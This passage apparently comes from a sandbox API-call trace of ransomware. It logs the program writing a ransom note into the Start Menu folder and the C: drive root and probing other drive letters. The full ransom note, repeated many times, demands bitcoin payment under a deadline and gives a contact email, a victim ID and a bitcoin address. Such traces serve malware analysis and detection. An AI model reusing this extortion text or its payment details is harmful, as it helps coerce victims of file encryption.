2 files with SIMPLE extensions(jpg,xls,doc, etc... not databases!)\r\nand low sizes(max 1 mb), we will decrypt them and send back to you. That is our guarantee.\r\n\r\n* How to contact with you?\r\nYou can write us to our mailbox: mzrdecryptorbuy@firemail.cc\r\nWrite this ID in the title of your message: MZRIDF0514FEE72\r\nDon't forget, check your \"Spam\" or \"Junk\" folder it you can't get more than 6 hours of answer.\r\n\r\n* How will the decryption process proceed after payment?\r\nAfter payment, we will send you our special decoder program by mail, just open it,\r\nthen it will automatically decrypt all your files.\r\nbut you need to pay for it and contact us.\r\n\r\nIf you are ready to pay the money we want,\r\nBitcoin address to which you will send the payment: 3HYoqfBS1ZceA2AvmdEucbnEHp74nu9cjd\r\n\r\n:::BEWARE:::\r\nDON'T try to change encrypted files by yourself!\r\nIf you will try to use any third party software for restoring your data or antivirus\r\nsolutions - please make a backup for all encrypted files!\r\nAny changes in encrypted files may entail damage of the private key and, as result, the loss all data.\r\n", cchWideChar=2498, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2498 [0145.280] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="* What happened to my computer?\r\nYour important files are encrypted.\r\nMany of your documents, photos, videos, databases and other files are no longer\r\naccessible because they have been encrypted. Maybe you are busy looking for a way to\r\nrecover your files, but do not waste your time. Nobody can recover your files without\r\nour decryption service.\r\n\r\n* Can I Recover My Files?\r\nSure. We guarantee that you can recover all your files safely and easily.\r\nIf you want to decrypt your files, you need to send $1000 worth of bitcoin to our address.\r\nDiscount 90% available if you contact us first 24 hours, thats price for you is $100.\r\nDon't forget! If you do not pay within 96 hours (Europe/Istanbul),\r\nyou cannot recover your files forever.\r\n\r\n* What is bitcoin and how to get it?\r\nThe easiest way to buy bitcoins is LocalBitcoins site.\r\nYou have to register, click 'Buy bitcoins', and select the seller by payment method and price.\r\nhttps://localbitcoins.com/buy_bitcoins\r\nAlso you can find other places to buy Bitcoins and beginners guide here:\r\nhttp://www.coindesk.com/information/how-can-i-buy-bitcoins/\r\n\r\n* What about guarantees?\r\nIts just a business. We absolutely do not care about you and your deals, except getting\r\nbenefits. If we do not do our work and liabilities - nobody will cooperate with us.\r\nIts not in our interests. To check the ability of returning files,\r\nyou can send to us any 2 files with SIMPLE extensions(jpg,xls,doc, etc... not databases!)\r\nand low sizes(max 1 mb), we will decrypt them and send back to you. That is our guarantee.\r\n\r\n* How to contact with you?\r\nYou can write us to our mailbox: mzrdecryptorbuy@firemail.cc\r\nWrite this ID in the title of your message: MZRIDF0514FEE72\r\nDon't forget, check your \"Spam\" or \"Junk\" folder it you can't get more than 6 hours of answer.\r\n\r\n* How will the decryption process proceed after payment?\r\nAfter payment, we will send you our special decoder program by mail, just open it,\r\nthen it will automatically decrypt all your files.\r\nbut you need to pay for it and contact us.\r\n\r\nIf you are ready to pay the money we want,\r\nBitcoin address to which you will send the payment: 3HYoqfBS1ZceA2AvmdEucbnEHp74nu9cjd\r\n\r\n:::BEWARE:::\r\nDON'T try to change encrypted files by yourself!\r\nIf you will try to use any third party software for restoring your data or antivirus\r\nsolutions - please make a backup for all encrypted files!\r\nAny changes in encrypted files may entail damage of the private key and, as result, the loss all data.\r\n", cchWideChar=2498, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2498 [0145.280] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="* What happened to my computer?\r\nYour important files are encrypted.\r\nMany of your documents, photos, videos, databases and other files are no longer\r\naccessible because they have been encrypted. Maybe you are busy looking for a way to\r\nrecover your files, but do not waste your time. Nobody can recover your files without\r\nour decryption service.\r\n\r\n* Can I Recover My Files?\r\nSure. We guarantee that you can recover all your files safely and easily.\r\nIf you want to decrypt your files, you need to send $1000 worth of bitcoin to our address.\r\nDiscount 90% available if you contact us first 24 hours, thats price for you is $100.\r\nDon't forget! If you do not pay within 96 hours (Europe/Istanbul),\r\nyou cannot recover your files forever.\r\n\r\n* What is bitcoin and how to get it?\r\nThe easiest way to buy bitcoins is LocalBitcoins site.\r\nYou have to register, click 'Buy bitcoins', and select the seller by payment method and price.\r\nhttps://localbitcoins.com/buy_bitcoins\r\nAlso you can find other places to buy Bitcoins and beginners guide here:\r\nhttp://www.coindesk.com/information/how-can-i-buy-bitcoins/\r\n\r\n* What about guarantees?\r\nIts just a business. We absolutely do not care about you and your deals, except getting\r\nbenefits. If we do not do our work and liabilities - nobody will cooperate with us.\r\nIts not in our interests. To check the ability of returning files,\r\nyou can send to us any 2 files with SIMPLE extensions(jpg,xls,doc, etc... not databases!)\r\nand low sizes(max 1 mb), we will decrypt them and send back to you. That is our guarantee.\r\n\r\n* How to contact with you?\r\nYou can write us to our mailbox: mzrdecryptorbuy@firemail.cc\r\nWrite this ID in the title of your message: MZRIDF0514FEE72\r\nDon't forget, check your \"Spam\" or \"Junk\" folder it you can't get more than 6 hours of answer.\r\n\r\n* How will the decryption process proceed after payment?\r\nAfter payment, we will send you our special decoder program by mail, just open it,\r\nthen it will automatically decrypt all your files.\r\nbut you need to pay for it and contact us.\r\n\r\nIf you are ready to pay the money we want,\r\nBitcoin address to which you will send the payment: 3HYoqfBS1ZceA2AvmdEucbnEHp74nu9cjd\r\n\r\n:::BEWARE:::\r\nDON'T try to change encrypted files by yourself!\r\nIf you will try to use any third party software for restoring your data or antivirus\r\nsolutions - please make a backup for all encrypted files!\r\nAny changes in encrypted files may entail damage of the private key and, as result, the loss all data.\r\n", cchWideChar=2498, lpMultiByteStr=0x798ef8, cbMultiByte=2498, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="* What happened to my computer?\r\nYour important files are encrypted.\r\nMany of your documents, photos, videos, databases and other files are no longer\r\naccessible because they have been encrypted. Maybe you are busy looking for a way to\r\nrecover your files, but do not waste your time. Nobody can recover your files without\r\nour decryption service.\r\n\r\n* Can I Recover My Files?\r\nSure. We guarantee that you can recover all your files safely and easily.\r\nIf you want to decrypt your files, you need to send $1000 worth of bitcoin to our address.\r\nDiscount 90% available if you contact us first 24 hours, thats price for you is $100.\r\nDon't forget! If you do not pay within 96 hours (Europe/Istanbul),\r\nyou cannot recover your files forever.\r\n\r\n* What is bitcoin and how to get it?\r\nThe easiest way to buy bitcoins is LocalBitcoins site.\r\nYou have to register, click 'Buy bitcoins', and select the seller by payment method and price.\r\nhttps://localbitcoins.com/buy_bitcoins\r\nAlso you can find other places to buy Bitcoins and beginners guide here:\r\nhttp://www.coindesk.com/information/how-can-i-buy-bitcoins/\r\n\r\n* What about guarantees?\r\nIts just a business. We absolutely do not care about you and your deals, except getting\r\nbenefits. If we do not do our work and liabilities - nobody will cooperate with us.\r\nIts not in our interests. To check the ability of returning files,\r\nyou can send to us any 2 files with SIMPLE extensions(jpg,xls,doc, etc... not databases!)\r\nand low sizes(max 1 mb), we will decrypt them and send back to you. That is our guarantee.\r\n\r\n* How to contact with you?\r\nYou can write us to our mailbox: mzrdecryptorbuy@firemail.cc\r\nWrite this ID in the title of your message: MZRIDF0514FEE72\r\nDon't forget, check your \"Spam\" or \"Junk\" folder it you can't get more than 6 hours of answer.\r\n\r\n* How will the decryption process proceed after payment?\r\nAfter payment, we will send you our special decoder program by mail, just open it,\r\nthen it will automatically decrypt all your files.\r\nbut you need to pay for it and contact us.\r\n\r\nIf you are ready to pay the money we want,\r\nBitcoin address to which you will send the payment: 3HYoqfBS1ZceA2AvmdEucbnEHp74nu9cjd\r\n\r\n:::BEWARE:::\r\nDON'T try to change encrypted files by yourself!\r\nIf you will try to use any third party software for restoring your data or antivirus\r\nsolutions - please make a backup for all encrypted files!\r\nAny changes in encrypted files may entail damage of the private key and, as result, the loss all data.\r\n", lpUsedDefaultChar=0x0) returned 2498 [0145.280] WriteFile (in: hFile=0x224, lpBuffer=0x798ef8*, nNumberOfBytesToWrite=0x9c2, lpNumberOfBytesWritten=0x18fc8c, lpOverlapped=0x0 | out: lpBuffer=0x798ef8*, lpNumberOfBytesWritten=0x18fc8c*=0x9c2, lpOverlapped=0x0) returned 1 [0145.281] CloseHandle (hObject=0x224) returned 1 [0145.282] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x18fb1c, csidl=22, fCreate=0 | out: pszPath="C:\\ProgramData\\Microsoft\\Windows\\Start Menu") returned 1 [0145.283] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu" (normalized: "c:\\programdata\\microsoft\\windows\\start menu")) returned 0x11 [0145.283] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x18fb1c, csidl=22, fCreate=0 | out: pszPath="C:\\ProgramData\\Microsoft\\Windows\\Start Menu") returned 1 [0145.283] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\How Do I Recover My Files (Readme).txt" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\how do i recover my files (readme).txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x29c [0145.285] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="* What happened to my computer?\r\nYour important files are encrypted.\r\nMany of your documents, photos, videos, databases and other files are no longer\r\naccessible because they have been encrypted. Maybe you are busy looking for a way to\r\nrecover your files, but do not waste your time. Nobody can recover your files without\r\nour decryption service.\r\n\r\n* Can I Recover My Files?\r\nSure. We guarantee that you can recover all your files safely and easily.\r\nIf you want to decrypt your files, you need to send $1000 worth of bitcoin to our address.\r\nDiscount 90% available if you contact us first 24 hours, thats price for you is $100.\r\nDon't forget! If you do not pay within 96 hours (Europe/Istanbul),\r\nyou cannot recover your files forever.\r\n\r\n* What is bitcoin and how to get it?\r\nThe easiest way to buy bitcoins is LocalBitcoins site.\r\nYou have to register, click 'Buy bitcoins', and select the seller by payment method and price.\r\nhttps://localbitcoins.com/buy_bitcoins\r\nAlso you can find other places to buy Bitcoins and beginners guide here:\r\nhttp://www.coindesk.com/information/how-can-i-buy-bitcoins/\r\n\r\n* What about guarantees?\r\nIts just a business. We absolutely do not care about you and your deals, except getting\r\nbenefits. If we do not do our work and liabilities - nobody will cooperate with us.\r\nIts not in our interests. To check the ability of returning files,\r\nyou can send to us any 2 files with SIMPLE extensions(jpg,xls,doc, etc... not databases!)\r\nand low sizes(max 1 mb), we will decrypt them and send back to you. That is our guarantee.\r\n\r\n* How to contact with you?\r\nYou can write us to our mailbox: mzrdecryptorbuy@firemail.cc\r\nWrite this ID in the title of your message: MZRIDF0514FEE72\r\nDon't forget, check your \"Spam\" or \"Junk\" folder it you can't get more than 6 hours of answer.\r\n\r\n* How will the decryption process proceed after payment?\r\nAfter payment, we will send you our special decoder program by mail, just open it,\r\nthen it will automatically decrypt all your files.\r\nbut you need to pay for it and contact us.\r\n\r\nIf you are ready to pay the money we want,\r\nBitcoin address to which you will send the payment: 3HYoqfBS1ZceA2AvmdEucbnEHp74nu9cjd\r\n\r\n:::BEWARE:::\r\nDON'T try to change encrypted files by yourself!\r\nIf you will try to use any third party software for restoring your data or antivirus\r\nsolutions - please make a backup for all encrypted files!\r\nAny changes in encrypted files may entail damage of the private key and, as result, the loss all data.\r\n", cchWideChar=2498, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2498 [0145.285] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="* What happened to my computer?\r\nYour important files are encrypted.\r\nMany of your documents, photos, videos, databases and other files are no longer\r\naccessible because they have been encrypted. Maybe you are busy looking for a way to\r\nrecover your files, but do not waste your time. Nobody can recover your files without\r\nour decryption service.\r\n\r\n* Can I Recover My Files?\r\nSure. We guarantee that you can recover all your files safely and easily.\r\nIf you want to decrypt your files, you need to send $1000 worth of bitcoin to our address.\r\nDiscount 90% available if you contact us first 24 hours, thats price for you is $100.\r\nDon't forget! If you do not pay within 96 hours (Europe/Istanbul),\r\nyou cannot recover your files forever.\r\n\r\n* What is bitcoin and how to get it?\r\nThe easiest way to buy bitcoins is LocalBitcoins site.\r\nYou have to register, click 'Buy bitcoins', and select the seller by payment method and price.\r\nhttps://localbitcoins.com/buy_bitcoins\r\nAlso you can find other places to buy Bitcoins and beginners guide here:\r\nhttp://www.coindesk.com/information/how-can-i-buy-bitcoins/\r\n\r\n* What about guarantees?\r\nIts just a business. We absolutely do not care about you and your deals, except getting\r\nbenefits. If we do not do our work and liabilities - nobody will cooperate with us.\r\nIts not in our interests. To check the ability of returning files,\r\nyou can send to us any 2 files with SIMPLE extensions(jpg,xls,doc, etc... not databases!)\r\nand low sizes(max 1 mb), we will decrypt them and send back to you. That is our guarantee.\r\n\r\n* How to contact with you?\r\nYou can write us to our mailbox: mzrdecryptorbuy@firemail.cc\r\nWrite this ID in the title of your message: MZRIDF0514FEE72\r\nDon't forget, check your \"Spam\" or \"Junk\" folder it you can't get more than 6 hours of answer.\r\n\r\n* How will the decryption process proceed after payment?\r\nAfter payment, we will send you our special decoder program by mail, just open it,\r\nthen it will automatically decrypt all your files.\r\nbut you need to pay for it and contact us.\r\n\r\nIf you are ready to pay the money we want,\r\nBitcoin address to which you will send the payment: 3HYoqfBS1ZceA2AvmdEucbnEHp74nu9cjd\r\n\r\n:::BEWARE:::\r\nDON'T try to change encrypted files by yourself!\r\nIf you will try to use any third party software for restoring your data or antivirus\r\nsolutions - please make a backup for all encrypted files!\r\nAny changes in encrypted files may entail damage of the private key and, as result, the loss all data.\r\n", cchWideChar=2498, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2498 [0145.285] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="* What happened to my computer?\r\nYour important files are encrypted.\r\nMany of your documents, photos, videos, databases and other files are no longer\r\naccessible because they have been encrypted. Maybe you are busy looking for a way to\r\nrecover your files, but do not waste your time. Nobody can recover your files without\r\nour decryption service.\r\n\r\n* Can I Recover My Files?\r\nSure. We guarantee that you can recover all your files safely and easily.\r\nIf you want to decrypt your files, you need to send $1000 worth of bitcoin to our address.\r\nDiscount 90% available if you contact us first 24 hours, thats price for you is $100.\r\nDon't forget! If you do not pay within 96 hours (Europe/Istanbul),\r\nyou cannot recover your files forever.\r\n\r\n* What is bitcoin and how to get it?\r\nThe easiest way to buy bitcoins is LocalBitcoins site.\r\nYou have to register, click 'Buy bitcoins', and select the seller by payment method and price.\r\nhttps://localbitcoins.com/buy_bitcoins\r\nAlso you can find other places to buy Bitcoins and beginners guide here:\r\nhttp://www.coindesk.com/information/how-can-i-buy-bitcoins/\r\n\r\n* What about guarantees?\r\nIts just a business. We absolutely do not care about you and your deals, except getting\r\nbenefits. If we do not do our work and liabilities - nobody will cooperate with us.\r\nIts not in our interests. To check the ability of returning files,\r\nyou can send to us any 2 files with SIMPLE extensions(jpg,xls,doc, etc... not databases!)\r\nand low sizes(max 1 mb), we will decrypt them and send back to you. That is our guarantee.\r\n\r\n* How to contact with you?\r\nYou can write us to our mailbox: mzrdecryptorbuy@firemail.cc\r\nWrite this ID in the title of your message: MZRIDF0514FEE72\r\nDon't forget, check your \"Spam\" or \"Junk\" folder it you can't get more than 6 hours of answer.\r\n\r\n* How will the decryption process proceed after payment?\r\nAfter payment, we will send you our special decoder program by mail, just open it,\r\nthen it will automatically decrypt all your files.\r\nbut you need to pay for it and contact us.\r\n\r\nIf you are ready to pay the money we want,\r\nBitcoin address to which you will send the payment: 3HYoqfBS1ZceA2AvmdEucbnEHp74nu9cjd\r\n\r\n:::BEWARE:::\r\nDON'T try to change encrypted files by yourself!\r\nIf you will try to use any third party software for restoring your data or antivirus\r\nsolutions - please make a backup for all encrypted files!\r\nAny changes in encrypted files may entail damage of the private key and, as result, the loss all data.\r\n", cchWideChar=2498, lpMultiByteStr=0x798ef8, cbMultiByte=2498, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="* What happened to my computer?\r\nYour important files are encrypted.\r\nMany of your documents, photos, videos, databases and other files are no longer\r\naccessible because they have been encrypted. Maybe you are busy looking for a way to\r\nrecover your files, but do not waste your time. Nobody can recover your files without\r\nour decryption service.\r\n\r\n* Can I Recover My Files?\r\nSure. We guarantee that you can recover all your files safely and easily.\r\nIf you want to decrypt your files, you need to send $1000 worth of bitcoin to our address.\r\nDiscount 90% available if you contact us first 24 hours, thats price for you is $100.\r\nDon't forget! If you do not pay within 96 hours (Europe/Istanbul),\r\nyou cannot recover your files forever.\r\n\r\n* What is bitcoin and how to get it?\r\nThe easiest way to buy bitcoins is LocalBitcoins site.\r\nYou have to register, click 'Buy bitcoins', and select the seller by payment method and price.\r\nhttps://localbitcoins.com/buy_bitcoins\r\nAlso you can find other places to buy Bitcoins and beginners guide here:\r\nhttp://www.coindesk.com/information/how-can-i-buy-bitcoins/\r\n\r\n* What about guarantees?\r\nIts just a business. We absolutely do not care about you and your deals, except getting\r\nbenefits. If we do not do our work and liabilities - nobody will cooperate with us.\r\nIts not in our interests. To check the ability of returning files,\r\nyou can send to us any 2 files with SIMPLE extensions(jpg,xls,doc, etc... not databases!)\r\nand low sizes(max 1 mb), we will decrypt them and send back to you. That is our guarantee.\r\n\r\n* How to contact with you?\r\nYou can write us to our mailbox: mzrdecryptorbuy@firemail.cc\r\nWrite this ID in the title of your message: MZRIDF0514FEE72\r\nDon't forget, check your \"Spam\" or \"Junk\" folder it you can't get more than 6 hours of answer.\r\n\r\n* How will the decryption process proceed after payment?\r\nAfter payment, we will send you our special decoder program by mail, just open it,\r\nthen it will automatically decrypt all your files.\r\nbut you need to pay for it and contact us.\r\n\r\nIf you are ready to pay the money we want,\r\nBitcoin address to which you will send the payment: 3HYoqfBS1ZceA2AvmdEucbnEHp74nu9cjd\r\n\r\n:::BEWARE:::\r\nDON'T try to change encrypted files by yourself!\r\nIf you will try to use any third party software for restoring your data or antivirus\r\nsolutions - please make a backup for all encrypted files!\r\nAny changes in encrypted files may entail damage of the private key and, as result, the loss all data.\r\n", lpUsedDefaultChar=0x0) returned 2498 [0145.285] WriteFile (in: hFile=0x29c, lpBuffer=0x798ef8*, nNumberOfBytesToWrite=0x9c2, lpNumberOfBytesWritten=0x18fc8c, lpOverlapped=0x0 | out: lpBuffer=0x798ef8*, lpNumberOfBytesWritten=0x18fc8c*=0x9c2, lpOverlapped=0x0) returned 1 [0145.286] CloseHandle (hObject=0x29c) returned 1 [0145.293] GetFileAttributesW (lpFileName="A:\\" (normalized: "a:")) returned 0xffffffff [0145.294] GetLastError () returned 0x3 [0145.299] GetFileAttributesW (lpFileName="B:\\" (normalized: "b:")) returned 0xffffffff [0145.300] GetLastError () returned 0x3 [0145.300] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0145.300] CreateFileW (lpFileName="C:\\\\How Do I Recover My Files (Readme).txt" (normalized: "c:\\how do i recover my files (readme).txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x29c [0145.303] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="* What happened to my computer?\r\nYour important files are encrypted.\r\nMany of your documents, photos, videos, databases and other files are no longer\r\naccessible because they have been encrypted. Maybe you are busy looking for a way to\r\nrecover your files, but do not waste your time. Nobody can recover your files without\r\nour decryption service.\r\n\r\n* Can I Recover My Files?\r\nSure. We guarantee that you can recover all your files safely and easily.\r\nIf you want to decrypt your files, you need to send $1000 worth of bitcoin to our address.\r\nDiscount 90% available if you contact us first 24 hours, thats price for you is $100.\r\nDon't forget! If you do not pay within 96 hours (Europe/Istanbul),\r\nyou cannot recover your files forever.\r\n\r\n* What is bitcoin and how to get it?\r\nThe easiest way to buy bitcoins is LocalBitcoins site.\r\nYou have to register, click 'Buy bitcoins', and select the seller by payment method and price.\r\nhttps://localbitcoins.com/buy_bitcoins\r\nAlso you can find other places to buy Bitcoins and beginners guide here:\r\nhttp://www.coindesk.com/information/how-can-i-buy-bitcoins/\r\n\r\n* What about guarantees?\r\nIts just a business. We absolutely do not care about you and your deals, except getting\r\nbenefits. If we do not do our work and liabilities - nobody will cooperate with us.\r\nIts not in our interests. To check the ability of returning files,\r\nyou can send to us any 2 files with SIMPLE extensions(jpg,xls,doc, etc... not databases!)\r\nand low sizes(max 1 mb), we will decrypt them and send back to you. That is our guarantee.\r\n\r\n* How to contact with you?\r\nYou can write us to our mailbox: mzrdecryptorbuy@firemail.cc\r\nWrite this ID in the title of your message: MZRIDF0514FEE72\r\nDon't forget, check your \"Spam\" or \"Junk\" folder it you can't get more than 6 hours of answer.\r\n\r\n* How will the decryption process proceed after payment?\r\nAfter payment, we will send you our special decoder program by mail, just open it,\r\nthen it will automatically decrypt all your files.\r\nbut you need to pay for it and contact us.\r\n\r\nIf you are ready to pay the money we want,\r\nBitcoin address to which you will send the payment: 3HYoqfBS1ZceA2AvmdEucbnEHp74nu9cjd\r\n\r\n:::BEWARE:::\r\nDON'T try to change encrypted files by yourself!\r\nIf you will try to use any third party software for restoring your data or antivirus\r\nsolutions - please make a backup for all encrypted files!\r\nAny changes in encrypted files may entail damage of the private key and, as result, the loss all data.\r\n", cchWideChar=2498, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2498 [0145.303] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="* What happened to my computer?\r\nYour important files are encrypted.\r\nMany of your documents, photos, videos, databases and other files are no longer\r\naccessible because they have been encrypted. Maybe you are busy looking for a way to\r\nrecover your files, but do not waste your time. Nobody can recover your files without\r\nour decryption service.\r\n\r\n* Can I Recover My Files?\r\nSure. We guarantee that you can recover all your files safely and easily.\r\nIf you want to decrypt your files, you need to send $1000 worth of bitcoin to our address.\r\nDiscount 90% available if you contact us first 24 hours, thats price for you is $100.\r\nDon't forget! If you do not pay within 96 hours (Europe/Istanbul),\r\nyou cannot recover your files forever.\r\n\r\n* What is bitcoin and how to get it?\r\nThe easiest way to buy bitcoins is LocalBitcoins site.\r\nYou have to register, click 'Buy bitcoins', and select the seller by payment method and price.\r\nhttps://localbitcoins.com/buy_bitcoins\r\nAlso you can find other places to buy Bitcoins and beginners guide here:\r\nhttp://www.coindesk.com/information/how-can-i-buy-bitcoins/\r\n\r\n* What about guarantees?\r\nIts just a business. We absolutely do not care about you and your deals, except getting\r\nbenefits. If we do not do our work and liabilities - nobody will cooperate with us.\r\nIts not in our interests. To check the ability of returning files,\r\nyou can send to us any 2 files with SIMPLE extensions(jpg,xls,doc, etc... not databases!)\r\nand low sizes(max 1 mb), we will decrypt them and send back to you. That is our guarantee.\r\n\r\n* How to contact with you?\r\nYou can write us to our mailbox: mzrdecryptorbuy@firemail.cc\r\nWrite this ID in the title of your message: MZRIDF0514FEE72\r\nDon't forget, check your \"Spam\" or \"Junk\" folder it you can't get more than 6 hours of answer.\r\n\r\n* How will the decryption process proceed after payment?\r\nAfter payment, we will send you our special decoder program by mail, just open it,\r\nthen it will automatically decrypt all your files.\r\nbut you need to pay for it and contact us.\r\n\r\nIf you are ready to pay the money we want,\r\nBitcoin address to which you will send the payment: 3HYoqfBS1ZceA2AvmdEucbnEHp74nu9cjd\r\n\r\n:::BEWARE:::\r\nDON'T try to change encrypted files by yourself!\r\nIf you will try to use any third party software for restoring your data or antivirus\r\nsolutions - please make a backup for all encrypted files!\r\nAny changes in encrypted files may entail damage of the private key and, as result, the loss all data.\r\n", cchWideChar=2498, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2498 [0145.303] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="* What happened to my computer?\r\nYour important files are encrypted.\r\nMany of your documents, photos, videos, databases and other files are no longer\r\naccessible because they have been encrypted. Maybe you are busy looking for a way to\r\nrecover your files, but do not waste your time. Nobody can recover your files without\r\nour decryption service.\r\n\r\n* Can I Recover My Files?\r\nSure. We guarantee that you can recover all your files safely and easily.\r\nIf you want to decrypt your files, you need to send $1000 worth of bitcoin to our address.\r\nDiscount 90% available if you contact us first 24 hours, thats price for you is $100.\r\nDon't forget! If you do not pay within 96 hours (Europe/Istanbul),\r\nyou cannot recover your files forever.\r\n\r\n* What is bitcoin and how to get it?\r\nThe easiest way to buy bitcoins is LocalBitcoins site.\r\nYou have to register, click 'Buy bitcoins', and select the seller by payment method and price.\r\nhttps://localbitcoins.com/buy_bitcoins\r\nAlso you can find other places to buy Bitcoins and beginners guide here:\r\nhttp://www.coindesk.com/information/how-can-i-buy-bitcoins/\r\n\r\n* What about guarantees?\r\nIts just a business. We absolutely do not care about you and your deals, except getting\r\nbenefits. If we do not do our work and liabilities - nobody will cooperate with us.\r\nIts not in our interests. To check the ability of returning files,\r\nyou can send to us any 2 files with SIMPLE extensions(jpg,xls,doc, etc... not databases!)\r\nand low sizes(max 1 mb), we will decrypt them and send back to you. That is our guarantee.\r\n\r\n* How to contact with you?\r\nYou can write us to our mailbox: mzrdecryptorbuy@firemail.cc\r\nWrite this ID in the title of your message: MZRIDF0514FEE72\r\nDon't forget, check your \"Spam\" or \"Junk\" folder it you can't get more than 6 hours of answer.\r\n\r\n* How will the decryption process proceed after payment?\r\nAfter payment, we will send you our special decoder program by mail, just open it,\r\nthen it will automatically decrypt all your files.\r\nbut you need to pay for it and contact us.\r\n\r\nIf you are ready to pay the money we want,\r\nBitcoin address to which you will send the payment: 3HYoqfBS1ZceA2AvmdEucbnEHp74nu9cjd\r\n\r\n:::BEWARE:::\r\nDON'T try to change encrypted files by yourself!\r\nIf you will try to use any third party software for restoring your data or antivirus\r\nsolutions - please make a backup for all encrypted files!\r\nAny changes in encrypted files may entail damage of the private key and, as result, the loss all data.\r\n", cchWideChar=2498, lpMultiByteStr=0x798ef8, cbMultiByte=2498, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="* What happened to my computer?\r\nYour important files are encrypted.\r\nMany of your documents, photos, videos, databases and other files are no longer\r\naccessible because they have been encrypted. Maybe you are busy looking for a way to\r\nrecover your files, but do not waste your time. Nobody can recover your files without\r\nour decryption service.\r\n\r\n* Can I Recover My Files?\r\nSure. We guarantee that you can recover all your files safely and easily.\r\nIf you want to decrypt your files, you need to send $1000 worth of bitcoin to our address.\r\nDiscount 90% available if you contact us first 24 hours, thats price for you is $100.\r\nDon't forget! If you do not pay within 96 hours (Europe/Istanbul),\r\nyou cannot recover your files forever.\r\n\r\n* What is bitcoin and how to get it?\r\nThe easiest way to buy bitcoins is LocalBitcoins site.\r\nYou have to register, click 'Buy bitcoins', and select the seller by payment method and price.\r\nhttps://localbitcoins.com/buy_bitcoins\r\nAlso you can find other places to buy Bitcoins and beginners guide here:\r\nhttp://www.coindesk.com/information/how-can-i-buy-bitcoins/\r\n\r\n* What about guarantees?\r\nIts just a business. We absolutely do not care about you and your deals, except getting\r\nbenefits. If we do not do our work and liabilities - nobody will cooperate with us.\r\nIts not in our interests. To check the ability of returning files,\r\nyou can send to us any 2 files with SIMPLE extensions(jpg,xls,doc, etc... not databases!)\r\nand low sizes(max 1 mb), we will decrypt them and send back to you. That is our guarantee.\r\n\r\n* How to contact with you?\r\nYou can write us to our mailbox: mzrdecryptorbuy@firemail.cc\r\nWrite this ID in the title of your message: MZRIDF0514FEE72\r\nDon't forget, check your \"Spam\" or \"Junk\" folder it you can't get more than 6 hours of answer.\r\n\r\n* How will the decryption process proceed after payment?\r\nAfter payment, we will send you our special decoder program by mail, just open it,\r\nthen it will automatically decrypt all your files.\r\nbut you need to pay for it and contact us.\r\n\r\nIf you are ready to pay the money we want,\r\nBitcoin address to which you will send the payment: 3HYoqfBS1ZceA2AvmdEucbnEHp74nu9cjd\r\n\r\n:::BEWARE:::\r\nDON'T try to change encrypted files by yourself!\r\nIf you will try to use any third party software for restoring your data or antivirus\r\nsolutions - please make a backup for all encrypted files!\r\nAny changes in encrypted files may entail damage of the private key and, as result, the loss all data.\r\n", lpUsedDefaultChar=0x0) returned 2498 [0145.303] WriteFile (in: hFile=0x29c, lpBuffer=0x798ef8*, nNumberOfBytesToWrite=0x9c2, lpNumberOfBytesWritten=0x18fc8c, lpOverlapped=0x0 | out: lpBuffer=0x798ef8*, lpNumberOfBytesWritten=0x18fc8c*=0x9c2, lpOverlapped=0x0) returned 1 [0145.304] CloseHandle (hObject=0x29c) returned 1 [0145.310] GetFileAttributesW (lpFileName="D:\\" (normalized: "d:")) returned 0xffffffff [0145.310] GetLastError () returned 0x3 [0145.316] GetFileAttributesW (lpFileName="E:\\" (normalized: "e:")) returned 0xffffffff [0145.316] GetLastError () returned 0x3 [0145.322] GetFileAttributesW (lpFileName="F:\\" (normalized: "f:")) returned 0xffffffff [0145.322] GetLastError () returned 0x3 [0145.327] GetFileAttributesW (lpFileName="G:\\" (normalized: "g:")) returned 0xffffffff [0145.350] GetLastError () returned 0x3 [0145.355] GetFileAttributesW (lpFileName="H:\\" (normalized: "h:")) returned 0xffffffff [0145.355] GetLastError () returned 0x3 [0145.361] 